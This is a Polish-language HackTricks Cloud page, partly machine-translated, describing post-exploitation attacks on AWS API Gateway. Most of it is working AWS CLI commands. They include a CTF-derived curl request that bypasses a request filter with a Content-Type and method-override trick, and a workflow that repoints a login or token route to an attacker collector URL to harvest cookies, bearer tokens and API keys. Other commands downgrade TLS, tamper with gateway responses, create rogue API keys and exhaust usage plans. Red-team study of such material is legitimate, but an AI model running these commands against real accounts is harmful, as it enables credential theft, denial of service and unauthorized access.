AWS - API Gateway Post Exploitation
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
API Gateway
Więcej informacji:
Dostęp do nieudostępnionych API
Możesz utworzyć endpoint w https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint z usługą com.amazonaws.us-east-1.execute-api, wystawić endpoint w sieci, do której masz dostęp (potencjalnie przez maszynę EC2) i przypisać security group zezwalającą na wszystkie połączenia.
Następnie, z maszyny EC2 będziesz w stanie uzyskać dostęp do endpointu i w ten sposób wywołać gateway API, które wcześniej nie było wystawione.
Bypass Request body passthrough
Technika została znaleziona w this CTF writeup.
Jak wskazano w AWS documentation w sekcji PassthroughBehavior, domyślnie wartość WHEN_NO_MATCH, podczas sprawdzania nagłówka Content-Type żądania, przekaże żądanie do backendu bez transformacji.
W związku z tym, w CTF API Gateway miał szablon integracji, który uniemożliwiał exfiltrację flagi w odpowiedzi, gdy żądanie było wysyłane z Content-Type: application/json:
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
Jednak wysłanie żądania z Content-type: text/json obejdzie ten filtr.
Ponieważ API Gateway zezwalał tylko na Get i Options, możliwe było wysłanie dowolnego zapytania do dynamoDB bez ograniczeń, wysyłając żądanie POST z zapytaniem w treści i używając nagłówka X-HTTP-Method-Override: GET:
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
Usage Plans DoS
W sekcji Enumeration możesz zobaczyć, jak uzyskać usage plan dla kluczy. Jeśli masz klucz i jest on ograniczony do X użyć na miesiąc, możesz po prostu go wykorzystać i spowodować DoS.
The API Key just need to be included inside a HTTP header called x-api-key.
Swap Route Integration To Exfil Traffic (HTTP APIs / apigatewayv2)
Jeśli możesz zaktualizować HTTP API integration, możesz repoint wrażliwą trasę (np. /login, /token, /submit) na kontrolowany przez atakującego HTTP endpoint i cicho collect headers and bodies (cookies, Authorization bearer tokens, session ids, API keys, secrets sent by internal jobs, etc.).
Przykładowy workflow:
REGION="us-east-1"
API_ID="<http_api_id>"
# Find routes and the integration attached to the interesting route
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
ROUTE_ID="<route_id>"
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"
# Repoint the integration to your collector (HTTP_PROXY / URL integration)
COLLECTOR_URL="https://attacker.example/collect"
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"
Uwagi:
- Dla HTTP APIs zmiany zwykle wchodzą w życie natychmiast (w przeciwieństwie do REST APIs, gdzie zwykle trzeba utworzyć wdrożenie).
- To, czy można wskazać dowolny URL, zależy od typu integracji/konfiguracji; w niektórych przypadkach możesz również zmienić typ integracji podczas patchowania.
apigateway:UpdateGatewayResponse, apigateway:CreateDeployment
Atakujący posiadający uprawnienia apigateway:UpdateGatewayResponse i apigateway:CreateDeployment może zmodyfikować istniejący Gateway Response, aby dodać niestandardowe nagłówki lub szablony odpowiedzi, które powodują leak wrażliwych informacji lub wykonują złośliwe skrypty.
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potencjalny wpływ: Leakage wrażliwych informacji, wykonywanie złośliwych skryptów lub nieautoryzowany dostęp do zasobów API.
Note
Wymaga testów
apigateway:UpdateStage, apigateway:CreateDeployment
Atakujący z uprawnieniami apigateway:UpdateStage i apigateway:CreateDeployment może zmodyfikować istniejący etap API Gateway, aby przekierować ruch do innego etapu lub zmienić ustawienia pamięci podręcznej, w efekcie uzyskując nieautoryzowany dostęp do przechowywanych w niej danych.
API_ID="your-api-id"
STAGE_NAME="Prod"
# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potencjalny wpływ: Nieautoryzowany dostęp do danych w pamięci podręcznej, zakłócenie lub przechwycenie ruchu API.
Note
Wymaga testów
apigateway:PutMethodResponse, apigateway:CreateDeployment
Attacker posiadający uprawnienia apigateway:PutMethodResponse i apigateway:CreateDeployment może zmodyfikować odpowiedź istniejącej metody API Gateway REST API, aby dodać niestandardowe nagłówki lub szablony odpowiedzi, które leakują wrażliwe informacje lub wykonują złośliwe skrypty.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"
# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potencjalny wpływ: wyciek wrażliwych informacji, uruchomienie złośliwych skryptów lub nieautoryzowany dostęp do zasobów API.
Note
Wymaga testów
apigateway:UpdateRestApi, apigateway:CreateDeployment
Atakujący z uprawnieniami apigateway:UpdateRestApi i apigateway:CreateDeployment może zmodyfikować ustawienia API Gateway REST API, aby wyłączyć rejestrowanie lub zmienić minimalną wersję TLS, co potencjalnie osłabia bezpieczeństwo API.
API_ID="your-api-id"
# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potencjalny wpływ: Osłabienie bezpieczeństwa API, co może umożliwić nieautoryzowany dostęp lub ujawnienie wrażliwych informacji.
Note
Wymaga przetestowania
apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey
Atakujący z uprawnieniami apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan oraz apigateway:CreateUsagePlanKey może utworzyć nowe API keys, powiązać je z usage plans i następnie użyć tych kluczy do nieautoryzowanego dostępu do APIs.
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
Potencjalny wpływ: Nieautoryzowany dostęp do zasobów API, obejście mechanizmów bezpieczeństwa.
Note
Wymaga testów
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

